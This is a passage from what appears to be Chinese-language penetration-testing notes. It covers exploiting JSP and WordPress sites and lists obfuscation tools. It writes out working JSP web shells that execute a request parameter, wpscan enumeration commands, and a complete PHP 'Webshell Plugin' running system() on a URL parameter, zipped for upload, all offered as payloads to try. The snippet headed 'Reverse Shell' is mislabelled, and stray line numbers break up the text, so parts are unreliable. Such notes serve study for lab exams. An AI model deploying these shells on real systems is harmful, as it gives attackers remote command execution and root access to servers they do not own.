------geckoformboundary29e1e2328f421e5f75d7ef823f471fd-- - 只要上傳成功,就可以以 root 身份登入
1
2$ ssh root@192.168.232.16 -p 2222 root@704d6605d487:~#
JSP
如果是 JSP 系統,有以下幾個 Payload 可以試看看
- 最簡單
1
<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %> - Reverse Shell
Reverse Shell
1
2
3
4
5
6
7
8
9
10<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) out.println(line); } %>
Webshell
1 | |
如果是 WordPress 網頁
起手式一定是用 wpscan 去掃 plugin 版本,查 exploit
- 所以流程是:(nmap+ffuf)列舉發現 WordPress → 識別 plugin → searchsploit 找漏洞 → 手動測試或 sqlmap 利用。不需要 wpscan,標準的 web 列舉流程就能走到這一步。
- WpScan專門檢測 WordPress 類型的網頁,有哪些漏洞,前期可以掃描出 WP 版本、安裝的 theme 或是插件有哪些、安全漏洞等等
1
2# 跑 wpscan 找外掛和使用者 $ wpscan --url http://alvida-eatery.local -e ap,at,u --plugins-detection aggressive # 代表 enum 出 all plugin/all theme/user -
上傳 Webshell-Plugin
上傳 Webshell-Plugin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16$ cat > webshell-plugin.php << 'EOF' <?php /** * Plugin Name: Webshell Plugin * Version: 1.0 * Author: Offsec * Author URI: https://offsec.com * License: GPL2 */ if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> EOF $ zip webshell-plugin.zip webshell-plugin.php
Tools
Fuck/Beautifier 對照表
| Fuck | Beautifier | |
|---|---|---|
| jsfuck JS 混淆器 |
把 JS 的程式變成可讀性很差的東西 | JSNice |
| jjencode | JS 反混淆器: 可以反混淆或解密 JS 的檔案 | |
| aaencode | JS 壓縮+加密+混淆+美化 | |
| Esolang List | JS Fuck Decode | |
| aadecode |
- psysh: PHP 的互動式 shell
- pwsh: Kali 內建的 Powershell
- wasm → c: wabt
1
2
3
4
5
6# 安裝Cmake,所有過程一定要用WSL $ mkdir build && cd build $ cmake .. $ cmake --build . # 按照說明build完後進到./build $ ./wasm2c {wasm file path} -o {output c file path} - Webhook
- JWT Decoder/Encoder